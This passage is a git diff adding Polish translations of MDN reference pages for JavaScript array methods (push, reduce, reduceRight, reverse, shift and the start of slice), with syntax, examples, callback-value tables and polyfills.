+<div>{{JSRef}}</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Dodaje jeden lub więcej elementów na koniec tablicy i zwraca jej nową długość. Metoda ta zmienia długość tablicy.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>arr</var>.push(<var>element1</var>, ..., <var>elementN</var>)</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>element + <i>N</i> + </code> </dt> + <dd>Elementy dodawane na końcu tablicy.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Zachowanie metody <code>push</code> jest analogiczne do funkcji <code>push</code> w języku Perl 4. Uwaga: jej zachowanie różni się w języku Perl 5.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Dodawanie_element.C3.B3w_do_tablicy" name="Przyk.C5.82ad:_Dodawanie_element.C3.B3w_do_tablicy">Przykład: Dodawanie elementów do tablicy</h3> + +<p>Następujący kod tworzy tablicę <code>myFish</code> zawierającą dwa elementy, następnie dodaje do niej dwa kolejne. Po wykonaniu kodu, <code>pushed</code> zawiera wartość 4 (w JavaScript 1.2 po wykonaniu kodu zmienna <code>pushed</code> zawiera wartość "lew").</p> + +<pre class="brush: js">myFish = ["anioł", "klaun"]; +pushed = myFish.push("bęben", "lew"); +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Array.prototype.pop()")}}</li> + <li>{{jsxref("Array.prototype.shift()")}}</li> + <li>{{jsxref("Array.prototype.unshift()")}}</li> + <li>{{jsxref("Array.prototype.concat()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/array/reduce/index.html b/files/pl/web/javascript/referencje/obiekty/array/reduce/index.html new file mode 100644 index 0000000000..8699a308c5 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/array/reduce/index.html @@ -0,0 +1,300 @@ +--- +title: Array.prototype.reduce() +slug: Web/JavaScript/Referencje/Obiekty/Array/Reduce +translation_of: Web/JavaScript/Reference/Global_Objects/Array/Reduce +--- +<div>{{JSRef("Global_Objects", "Array")}}</div> + +<h2 id="Summary" name="Summary">Podsumowanie</h2> + +<p><code><font face="Open Sans, Arial, sans-serif">Metoda </font><strong>reduce()</strong></code> wywołuje funkcję względem wartości przyrostowej z każdego wywołania i kolejnego elementu tablicy (od lewej do prawej) w celu sprowadzenia tej tablicy do pojedynczej wartości.</p> + +<h2 id="Syntax" name="Syntax">Składnia</h2> + +<pre class="syntaxbox"><code><var>arr.reduce(callback(accumulator, currentValue[, index[, array]])[, initialValue])</var></code></pre> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt><code>callback</code></dt> + <dd>Funkcja wykonywana na każdej wartości w tablicy, przyjmuje cztery argumenty: + <dl> + <dt><code>previousValue</code></dt> + <dt></dt> + <dd>Wartość zwróconą w ostatnim wywołaniu funkcji <code>callback</code>, lub <code>initialValue</code>, jeśli ta została dostarczona. (Patrz niżej.)</dd> + <dt><code>currentValue</code></dt> + <dd>Obecnie przetwarzany element w tablicy.</dd> + <dt><code>index</code></dt> + <dd>Indeks w tablicy obecnie przetwarzanego elementu.</dd> + <dt><code>array</code></dt> + <dd>Tablica, na której została wykonana funkcja <code>reduce</code> .</dd> + </dl> + </dd> + <dt><code>initialValue</code></dt> + <dd>Opcjonalne. Obiekt który będzie użyty jako pierwszy argument pierwszego wywołania funkcji <code>callback</code>.</dd> +</dl> + +<h2 id="Description" name="Description">Opis</h2> + +<p><code>reduce</code> wykonuje funkcję <code>callback</code> raz dla każdego elementu występującego w tablicy, wyłączając dziury. Funkcja <code>callback</code> przyjmuje cztery argumenty: wartość początkową (lub wartość poprzedniego wywołania <code>callback)</code>, wartość obecnego elementu, jego indeks, oraz tablicę na której zachodzi proces iteracji.</p> + +<p>Przy pierwszym wywołaniu funkcji <code>callback, previousValue</code> oraz <code>currentValue</code> mogą przyjąć jedną z dwóch wartości. Jeżeli <code>initialValue</code> było dostarczone w wywołaniu, wtedy <code>previousValue</code> przyjmie wartość podaną jako <code>initialValue</code>, natomiast <code>currentValue</code> przyjmie wartość pierwszego elementu tablicy. Jeśli <code>initialValue</code> nie było podane, wtedy <code>previousValue</code> będzie miało wartość pierwszego elementu tablicy, natomiast <code>currentValue</code> będzie równe elementowi drugiemu.</p> + +<p>Jeżeli tablica jest pusta oraz <code>initialValue</code> nie zostało dostarczone, będzie rzucony błąd {{jsxref("Global_Objects/TypeError", "TypeError")}}. Jeśli natomiast tablica ma jeden tylko element (bez względu na jego pozycję) i <code>initialValue</code> nie zostało podane, lub dostarczono <code>initialValue</code>, ale tablica jest pusta, wtedy ta jedyna wartość zostanie zwrócona, bez wywoływania funkcji <code>callback</code>.</p> + +<p>Przyjmijmy, że wystąpiło następujące wywolanie funkcji <code>reduce</code>:</p> + +<pre class="brush: js">[0, 1, 2, 3, 4].reduce(function(previousValue, currentValue, index, array) { + return previousValue + currentValue; +}); +</pre> + +<p>Funkcja callback będzie wywołana cztery razy, z argumentami i wartościami zwrotnymi przy każdym wołaniu jak następuje:</p> + +<table style="width: 100%;"> + <thead> + <tr> + <th scope="col"></th> + <th scope="col"><code>previousValue</code></th> + <th scope="col"><code>currentValue</code></th> + <th scope="col"><code>index</code></th> + <th scope="col"><code>array</code></th> + <th scope="col">wartość zwracana</th> + </tr> + </thead> + <tbody> + <tr> + <th scope="row">pierwsze wywołanie</th> + <td><code>0</code></td> + <td><code>1</code></td> + <td><code>1</code></td> + <td><code>[0, 1, 2, 3, 4]</code></td> + <td><code>1</code></td> + </tr> + <tr> + <th scope="row">drugie wywołanie</th> + <td><code>1</code></td> + <td><code>2</code></td> + <td><code>2</code></td> + <td><code>[0, 1, 2, 3, 4]</code></td> + <td><code>3</code></td> + </tr> + <tr> + <th scope="row">trzecie wywołanie</th> + <td><code>3</code></td> + <td><code>3</code></td> + <td><code>3</code></td> + <td><code>[0, 1, 2, 3, 4]</code></td> + <td><code>6</code></td> + </tr> + <tr> + <th scope="row">czwarte wywołanie</th> + <td><code>6</code></td> + <td><code>4</code></td> + <td><code>4</code></td> + <td><code>[0, 1, 2, 3, 4]</code></td> + <td><code>10</code></td> + </tr> + </tbody> +</table> + +<p>Wartość zwrócona ostatecznie przez <code>reduce</code> będzie tą z ostatniego wywołania funcji callback (<code>10</code>).</p> + +<p>Natomiast, jeśli dostarczylibyśmy wartość początkową jako drugi argument funkcji przekazanej do <code>reduce</code>, wynik wyglądałby jak poniżej:</p> + +<pre class="brush: js">[0, 1, 2, 3, 4].reduce(function(previousValue, currentValue, index, array) { + return previousValue + currentValue; +}, 10); +</pre> + +<table style="width: 100%;"> + <thead> + <tr> + <th scope="col"></th> + <th scope="col"><code>previousValue</code></th> + <th scope="col"><code>currentValue</code></th> + <th scope="col"><code>index</code></th> + <th scope="col"><code>array</code></th> + <th scope="col">wartość zwracana</th> + </tr> + </thead> + <tbody> + <tr> + <th scope="row">pierwsze wywołanie</th> + <td><code>10</code></td> + <td><code>0</code></td> + <td><code>0</code></td> + <td><code>[0, 1, 2, 3, 4]</code></td> + <td><code>10</code></td> + </tr> + <tr> + <th scope="row">drugie wywołanie</th> + <td><code>10</code></td> + <td><code>1</code></td> + <td><code>1</code></td> + <td><code>[0, 1, 2, 3, 4]</code></td> + <td><code>11</code></td> + </tr> + <tr> + <th scope="row">trzecie wywołanie</th> + <td><code>11</code></td> + <td><code>2</code></td> + <td><code>2</code></td> + <td><code>[0, 1, 2, 3, 4]</code></td> + <td><code>13</code></td> + </tr> + <tr> + <th scope="row">czwarte wywołanie</th> + <td><code>13</code></td> + <td><code>3</code></td> + <td><code>3</code></td> + <td><code>[0, 1, 2, 3, 4]</code></td> + <td><code>16</code></td> + </tr> + <tr> + <th scope="row">piąte wywołanie</th> + <td><code>16</code></td> + <td><code>4</code></td> + <td><code>4</code></td> + <td><code>[0, 1, 2, 3, 4]</code></td> + <td><code>20</code></td> + </tr> + </tbody> +</table> + +<p>Tym razem wartość zwrócona przez <code>reduce</code> będzie wynosiła <code>20</code>.</p> + +<h2 id="Examples" name="Examples">Przykłady</h2> + +<h3 id="Example_Sum_up_all_values_within_an_array" name="Example:_Sum_up_all_values_within_an_array">Przykład: Zsumowanie wszystkich wartości w tablicy.</h3> + +<pre class="brush: js">var total = [0, 1, 2, 3].reduce(function(a, b) { + return a + b; +}); +// total == 6 +</pre> + +<h3 id="Example_Flatten_an_array_of_arrays" name="Example:_Flatten_an_array_of_arrays">Przykład: Spłaszczenie tablicy tablic</h3> + +<pre class="brush: js">var flattened = [[0, 1], [2, 3], [4, 5]].reduce(function(a, b) { + return a.concat(b); +}); +// flattened is [0, 1, 2, 3, 4, 5] +</pre> + +<h2 id="Polyfill" name="Polyfill">Polyfill</h2> + +<p><code>Array.prototype.reduce</code> zostało dodane do standardu ECMA-262 w edycji piątej i jako takie może nie występować we wszystkich implementacji standardu. Można obejśc ten brak poprzez wstawienie poniższego kodu na początku skryptu, co pozwala na użycie <code>reduce</code> z implementacjami, które nie wspierają tej funkcji.</p> + +<pre class="brush: js">// Production steps of ECMA-262, Edition 5, 15.4.4.21 +// Reference: http://es5.github.io/#x15.4.4.21 +if (!Array.prototype.reduce) { + Array.prototype.reduce = function(callback /*, initialValue*/) { + 'use strict'; + if (this == null) { + throw new TypeError('Array.prototype.reduce called on null or undefined'); + } + if (typeof callback !== 'function') { + throw new TypeError(callback + ' is not a function'); + } + var t = Object(this), len = t.length >>> 0, k = 0, value; + if (arguments.length == 2) { + value = arguments[1]; + } else { + while (k < len && !(k in t)) { + k++; + } + if (k >= len) { + throw new TypeError('Reduce of empty array with no initial value'); + } + value = t[k++]; + } + for (; k < len; k++) { + if (k in t) { + value = callback(value, t[k], k, t); + } + } + return value; + }; +} +</pre> + +<h2 id="Specifications" name="Specifications">Specyfikacja</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Stan</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.4.4.21', 'Array.prototype.reduce')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td>Definicja początkowa. Wprowadzon w JavaScript 1.8.</td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-array.prototype.reduce', 'Array.prototype.reduce')}}</td> + <td>{{Spec2('ES6')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">Wspierane przeglądarki</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop("1.9")}}</td> + <td>{{CompatIE("9")}}</td> + <td>{{CompatOpera("10.5")}}</td> + <td>{{CompatSafari("4.0")}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See_also" name="See_also">Zobacz też</h2> + +<ul> + <li>{{jsxref("Array.prototype.reduceRight()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/array/reduceright/index.html b/files/pl/web/javascript/referencje/obiekty/array/reduceright/index.html new file mode 100644 index 0000000000..fcb2b0e694 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/array/reduceright/index.html @@ -0,0 +1,344 @@ +--- +title: Array.prototype.reduceRight() +slug: Web/JavaScript/Referencje/Obiekty/Array/ReduceRight +translation_of: Web/JavaScript/Reference/Global_Objects/Array/ReduceRight +--- +<div>{{JSRef}}</div> + +<p>Metoda <code><strong>reduceRight()</strong></code> przekazuje do funkcji wartość przyrostową dla każdego elementu w tablicy zaczynając od prawej do lewej (od najwyższego indexu do najniższego) w celu sprowadzenia tablicy do pojedynczej wartości.</p> + +<div>{{EmbedInteractiveExample("pages/js/array-reduce-right.html","shorter")}}</div> + + + +<p>Sprawdź również {{jsxref("Array.prototype.reduce()")}} dla redukowania tablicy od lewej do prawej (od najniższego indexu do najwyższego).</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox"><var>arr.reduceRight(callback(akumulator, obecnaWartość[, index[, tablica]])[, wartośćPoczątkowa])</var></pre> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt><code>callback</code></dt> + <dd>Funkcja która będzie wołana dla każdego elementu w tablicy, przyjmuje 4 argumenty: + <dl> + <dt><code>akumulator</code></dt> + <dd>Wartość zwrócona z poprzedniego wywołania funkcji <code>callback</code> lub <code>wartośćPoczątkowa</code>, jeśli została zdefiniowana. (Sprawdź poniżej.)</dd> + <dt><code>obecnaWartość</code></dt> + <dd>Element z tablicy, który aktualnie jest przetwarzany</dd> + <dt><code>index</code>{{optional_inline}}</dt> + <dd>Index aktualnie przetwarzanego elementu z tablicy.</dd> + <dt><code>tablica</code>{{optional_inline}}</dt> + <dd>Tablica, na której <code>reduceRight()</code> zostało zawołane.</dd> + </dl> + </dd> + <dt><code>wartośćPoczątkowa</code>{{optional_inline}}</dt> + <dd>Wartość, która zostanie użyta do pierwszego wykonania funkcji <code>callback</code>. Jeśli wartość ta nie zostanie zdefiniowana, ostatni element tablicy zostanie użyty i pominięty. Wołanie reduce lub reduceRight na pustej tablicy bez zdefiniowanej wartości początkowej spowoduje błąd <code>TypeError</code>.</dd> +</dl> + +<h3 id="Wartość_zwracana">Wartość zwracana</h3> + +<p>Wartość wynikowa redukcji.</p> + +<h2 id="Opis">Opis</h2> + +<p><code>reduceRight</code> wykonuje funkcję <code>callback</code> dla każdego elementu z tablicy, z wyłączeniem miejsc niezdefiniowanych w tablicy, przekazując cztery argumenty: wartość początkową (lub wartość z poprzedniego wywołania funkcji <code>callback</code>), wartość obecnie przetwarzanego elementu, obecny index oraz tablicę na której wykonywane są iteracje.</p> + +<p>Użycie funkcji <code>callback</code> w metodzie reduceRight może wyglądac następująco:</p> + +<pre class="brush: js">array.reduceRight(function(akumulator, obecnaWartość, index, tablica) { + // ... +}); +</pre> + +<p>Przy pierwszym wywołaniu funkcji, <code>akumulator</code> i <code>obecnaWartość</code> mogą mieć jedną z 2 wartości. Jeśli <code>wartośćPoczątkowa</code> została przekazana do <code>reduceRight</code>, to <code>akumulator</code> będzie równy <code>wartośćPoczątkowa</code> a <code>obecnaWartość</code> będzie równa ostatniej wartości z tablicy. Jeśli <code>wartośćPoczątkowa</code> nie została zdefiniowana, wtedy <code>akumulator</code> będzie równy ostatniej wartości z tablicy a <code>obecnaWartość</code> będzie równa przedostatniej wartości z tablicy.</p> + +<p>Jeśli tablica jest pusta i <code>wartośćPoczątkowa</code> nie została zdefiniowana, spowoduje to błąd: {{jsxref("TypeError")}}. Jeśli tablica ma tylko jeden element (niezależnie od jego pozycji) i <code>wartośćPoczątkowa</code> nie została zdefiniowana lub <code>wartośćPoczątkowa</code> została zdefiniowana ale tablica jest pusta, to ta pojedyncza wartość zostanie zwrócona bez wołania funkcji <code>callback</code>.</p> + +<p>Przykład pokazujący, jak przepływają dane do funkcji <code>callback</code>:</p> + +<pre class="brush: js">[0, 1, 2, 3, 4].reduceRight(function(akumulator, obecnaWartość, index, tablica) { + return akumulator + obecnaWartość; +}); +</pre> + +<p>Funkcja <code>callback</code> wykona się 4 razy a argumenty wywołań oraz wartości zwracane będą zgodne z poniższą tabelą:</p> + +<table> + <thead> + <tr> + <th scope="col"><code>callback</code></th> + <th scope="col"><code>akumulator</code></th> + <th scope="col"><code>obecnaWartość</code></th> + <th scope="col"><code>index</code></th> + <th scope="col"><code>tablica</code></th> + <th scope="col">zwrócona wartość</th> + </tr> + </thead> + <tbody> + <tr> + <th scope="row">first call</th> + <td><code>4</code></td> + <td><code>3</code></td> + <td><code>3</code></td> + <td><code>[0, 1, 2, 3, 4]</code></td> + <td><code>7</code></td> + </tr> + <tr> + <th scope="row">second call</th> + <td><code>7</code></td> + <td><code>2</code></td> + <td><code>2</code></td> + <td><code>[0, 1, 2, 3, 4]</code></td> + <td><code>9</code></td> + </tr> + <tr> + <th scope="row">third call</th> + <td><code>9</code></td> + <td><code>1</code></td> + <td><code>1</code></td> + <td><code>[0, 1, 2, 3, 4]</code></td> + <td><code>10</code></td> + </tr> + <tr> + <th scope="row">fourth call</th> + <td><code>10</code></td> + <td><code>0</code></td> + <td><code>0</code></td> + <td><code>[0, 1, 2, 3, 4]</code></td> + <td><code>10</code></td> + </tr> + </tbody> +</table> + +<p>Wartość zwrócona przez <code>reduceRight</code> będzie tym, co zostało zwrócone przez ostatnie wywołanie funkcji <code>callback</code> (<code>10</code>).</p> + +<p>Jeśli <code>wartośćPoczątkowa</code> zostałaby zdefiniowana wyniki wyglądałyby następująco:</p> + +<pre class="brush: js">[0, 1, 2, 3, 4].reduceRight(function(akumulator, obecnaWartość, index, tablica) { + return akumulator + obecnaWartość; +}, 10); +</pre> + +<table> + <thead> + <tr> + <th scope="col"><code>callback</code></th> + <th scope="col"><code>akumulator</code></th> + <th scope="col"><code>obecnaWartość</code></th> + <th scope="col"><code>index</code></th> + <th scope="col"><code>tablica</code></th> + <th scope="col">zwrócona wartość</th> + </tr> + </thead> + <tbody> + <tr> + <th scope="row">first call</th> + <td><code>10</code></td> + <td><code>4</code></td> + <td><code>4</code></td> + <td><code>[0, 1, 2, 3, 4]</code></td> + <td><code>14</code></td> + </tr> + <tr> + <th scope="row">second call</th> + <td><code>14</code></td> + <td><code>3</code></td> + <td><code>3</code></td> + <td><code>[0, 1, 2, 3, 4]</code></td> + <td><code>17</code></td> + </tr> + <tr> + <th scope="row">third call</th> + <td><code>17</code></td> + <td><code>2</code></td> + <td><code>2</code></td> + <td><code>[0, 1, 2, 3, 4]</code></td> + <td><code>19</code></td> + </tr> + <tr> + <th scope="row">fourth call</th> + <td><code>19</code></td> + <td><code>1</code></td> + <td><code>1</code></td> + <td><code>[0, 1, 2, 3, 4]</code></td> + <td><code>20</code></td> + </tr> + <tr> + <th scope="row">fifth call</th> + <td><code>20</code></td> + <td><code>0</code></td> + <td><code>0</code></td> + <td><code>[0, 1, 2, 3, 4]</code></td> + <td><code>20</code></td> + </tr> + </tbody> +</table> + +<p>Wartość zwrócona przez <code>reduceRight</code> w tym przypadku, będzie, oczywiście, <code>20</code>.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Zsumuj_wszystkie_wartości_z_tablicy">Zsumuj wszystkie wartości z tablicy</h3> + +<pre class="brush: js">var sum = [0, 1, 2, 3].reduceRight(function(a, b) { + return a + b; +}); +// sum is 6 +</pre> + +<h3 id="Spłaszcz_tablicę_tablic">Spłaszcz tablicę tablic</h3> + +<pre class="brush: js">var flattened = [[0, 1], [2, 3], [4, 5]].reduceRight(function(a, b) { + return a.concat(b); +}, []); +// flattened is [4, 5, 2, 3, 0, 1] + +</pre> + +<h3 id="Uruchom_asynchroniczne_funkcje_z_callbackami_z_listy_w_taki_sposób_aby_każda_przekazywała_wynik_wykonania_do_następnej">Uruchom asynchroniczne funkcje z callbackami z listy w taki sposób aby każda przekazywała wynik wykonania do następnej</h3> + +<pre class="brush: js">const waterfall = (...functions) => (callback, ...args) => + functions.reduceRight( + (composition, fn) => (...results) => fn(composition, ...results), + callback + )(...args); + +const randInt = max => Math.floor(Math.random() * max) + +const add5 = (callback, x) => { + setTimeout(callback, randInt(1000), x + 5); +}; +const mult3 = (callback, x) => { + setTimeout(callback, randInt(1000), x * 3); +}; +const sub2 = (callback, x) => { + setTimeout(callback, randInt(1000), x - 2); +}; +const split = (callback, x) => { + setTimeout(callback, randInt(1000), x, x); +}; +const add = (callback, x, y) => { + setTimeout(callback, randInt(1000), x + y); +}; +const div4 = (callback, x) => { + setTimeout(callback, randInt(1000), x / 4); +}; + +const computation = waterfall(add5, mult3, sub2, split, add, div4); +computation(console.log, 5) // -> 14 + +// same as: + +const computation2 = (input, callback) => { + const f6 = x=> div4(callback, x); + const f5 = (x, y) => add(f6, x, y); + const f4 = x => split(f5, x); + const f3 = x => sub2(f4, x); + const f2 = x => mult3(f3, x); + add5(f2, input); +}</pre> + +<h3 id="Różnica_pomiędzy_reduce_i_reduceRight">Różnica pomiędzy <code>reduce</code> i <code>reduceRight</code></h3> + +<pre class="brush: js">var a = ['1', '2', '3', '4', '5']; +var left = a.reduce(function(prev, cur) { return prev + cur; }); +var right = a.reduceRight(function(prev, cur) { return prev + cur; }); + +console.log(left); // "12345" +console.log(right); // "54321"</pre> + +<h3 id="Przykład_na_rozwijanie_funkcji">Przykład na rozwijanie funkcji</h3> + +<p>W rozwijaniu funkcji chodzi o to, że w wywołaniu jednej funkcji możemy użyć wielu funkcji. Odbywa się to od prawej do lewej, wołając każdą funkcję z wynikiem zwróconym przez poprzednią.</p> + +<pre class="brush: js">/** + * Function Composition is way in which result of one function can + * be passed to another and so on. + * + * h(x) = f(g(x)) + * + * Function execution happens right to left + * + * https://en.wikipedia.org/wiki/Function_composition + */ + +const compose = (...args) => (value) => args.reduceRight((acc, fn) => fn(acc), value) + +// Increment passed number +const inc = (n) => n + 1 + +// Doubles the passed value +const double = (n) => n * 2 + +// using composition function +console.log(compose(double, inc)(2)); // 6 + +// using composition function +console.log(compose(inc, double)(2)); // 5 +</pre> + +<h2 id="Polyfill">Polyfill</h2> + +<p><code>reduceRight</code> zostało dodane dostandardu ECMA-262 w piątej edycji, w związku z czym może jeszcze nie być dodane do wszystkich implementacji standardu. Można to rozwiązać poprzez użycie poniższego kodu na początku aplikacji, pozwoli to na używanie <code>reduceRight</code> w środowiskach, które tego nie implementują.</p> + +<pre class="brush: js">// Production steps of ECMA-262, Edition 5, 15.4.4.22 +// Reference: http://es5.github.io/#x15.4.4.22 +if ('function' !== typeof Array.prototype.reduceRight) { + Array.prototype.reduceRight = function(callback /*, initialValue*/) { + 'use strict'; + if (null === this || 'undefined' === typeof this) { + throw new TypeError('Array.prototype.reduce called on null or undefined'); + } + if ('function' !== typeof callback) { + throw new TypeError(callback + ' is not a function'); + } + var t = Object(this), len = t.length >>> 0, k = len - 1, value; + if (arguments.length >= 2) { + value = arguments[1]; + } else { + while (k >= 0 && !(k in t)) { + k--; + } + if (k < 0) { + throw new TypeError('Reduce of empty array with no initial value'); + } + value = t[k--]; + } + for (; k >= 0; k--) { + if (k in t) { + value = callback(value, t[k], k, t); + } + } + return value; + }; +} +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-array.prototype.reduceright', 'Array.prototype.reduceRight')}}</td> + </tr> + </tbody> +</table> + +<h2 id="Zgodność_w_przeglądarkach">Zgodność w przeglądarkach</h2> + +<div> + + +<p>{{Compat("javascript.builtins.Array.reduceRight")}}</p> +</div> + +<h2 id="Sprawdź_również">Sprawdź również</h2> + +<ul> + <li>{{jsxref("Array.prototype.reduce()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/array/reverse/index.html b/files/pl/web/javascript/referencje/obiekty/array/reverse/index.html new file mode 100644 index 0000000000..bc6fd9082b --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/array/reverse/index.html @@ -0,0 +1,55 @@ +--- +title: Array.prototype.reverse() +slug: Web/JavaScript/Referencje/Obiekty/Array/reverse +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Array/reverse +--- +<div>{{JSRef}}</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Odwraca kolejność elementów w tablicy: pierwszy staje się ostatnim, ostatni pierwszym.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>arr</var>.reverse()</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<p>Brak.</p> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Metoda <code>reverse</code> zmienia zawartość tablicy, odwracając kolejność jej elementów.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Odwracanie_kolejno.C5.9Bci_element.C3.B3w_w_tablicy" name="Przyk.C5.82ad:_Odwracanie_kolejno.C5.9Bci_element.C3.B3w_w_tablicy">Przykład: Odwracanie kolejności elementów w tablicy</h3> + +<p>Poniższy przykład tworzy tablicę mojaTablica, posiadającą trzy elementy, następnie odwraca ich kolejność.</p> + +<pre class="brush: js">mojaTablica = new Array("jeden", "dwa", "trzy") +mojaTablica.reverse() +</pre> + +<p>W wyniku działania powyższego kodu:</p> + +<ul> + <li><code>mojaTablica[0]</code> ma wartość "trzy"</li> + <li><code>mojaTablica[1]</code> ma wartość "dwa"</li> + <li><code>mojaTablica[2]</code> ma wartość "jeden"</li> +</ul> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Array.prototype.join()")}}</li> + <li>{{jsxref("Array.prototype.sort()")}}</li> + <li>{{jsxref("TypedArray.prototype.reverse()")}}</li> +</ul> + +<div class="noinclude"> </div> diff --git a/files/pl/web/javascript/referencje/obiekty/array/shift/index.html b/files/pl/web/javascript/referencje/obiekty/array/shift/index.html new file mode 100644 index 0000000000..adf8ca36e4 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/array/shift/index.html @@ -0,0 +1,48 @@ +--- +title: Array.prototype.shift() +slug: Web/JavaScript/Referencje/Obiekty/Array/shift +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Array/shift +--- +<div>{{JSRef}}</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Usuwa pierwszy element z tablicy i zwraca go. Metoda ta zmienia długość tablicy.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>arr</var>.shift()</code></pre> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Usuwanie_pierwszego_elementu_tablicy" name="Przyk.C5.82ad:_Usuwanie_pierwszego_elementu_tablicy">Przykład: Usuwanie pierwszego elementu tablicy</h3> + +<p>Następujący kod wyświetli tablicę <code>myFish</code>, przed i po usunięciu jej pierwszego elementu. Wyświetli również usunięty element:</p> + +<pre class="brush: js">// przyjmując że funkcja print jest zdefiniowana +var myFish = ["anioł", "klaun", "mandarynka", "chirurg"]; +console.log("myFish przed: " + myFish); +var shifted = myFish.shift(); +console.log("myFish po: " + myFish); +console.log("Usunięto element: " + shifted); +</pre> + +<p>Przykład wyświetli następujący rezultat:</p> + +<pre class="brush: js">myFish przed: ["anioł", "klaun", "mandarynka", "chirurg"] +myFish po: ["klaun", "mandarynka", "chirurg"] +//Usunięto element: anioł +</pre> + +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3> + +<ul> + <li>{{jsxref("Array.prototype.push()")}}</li> + <li>{{jsxref("Array.prototype.pop()")}}</li> + <li>{{jsxref("Array.prototype.unshift()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/array/slice/index.html b/files/pl/web/javascript/referencje/obiekty/array/slice/index.html new file mode 100644 index 0000000000..ced8efba96 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/array/slice/index.html @@ -0,0 +1,99 @@ +--- +title: Array.prototype.slice() +slug: Web/JavaScript/Referencje/Obiekty/Array/slice +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Array/slice +--- +<p>{{ JSRef }}</p> + +<p>{{EmbedInteractiveExample("pages/js/array-slice.html")}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Wydobywa fragment tablicy i zwraca go jako nową tablicę.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>arr</var>.slice([<var>begin</var>[, <var>end</var>]])</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>begin</code></dt> + <dd>Indeks (liczony od zera) od którego zaczyna się wydobywanie.</dd> + <dd>Jeżeli indeks jest ujemny, <code>begin</code> wskazuje przesunięcie w kolejności od końca. <code>slice(-2)</code> wydobywa kolejno drugi od końca i ostatni element tablicy.</dd> +</dl> + +<dl> + <dt><code>end</code></dt> + <dd>Indeks (liczony od zera) przed którym kończy się wydobywanie. <code>slice</code> wydobywa elementy jednakże nie zawiera <code>end</code>.</dd> +</dl> + +<dl> + <dd><code>slice(1,4)</code> wydobywa elementy 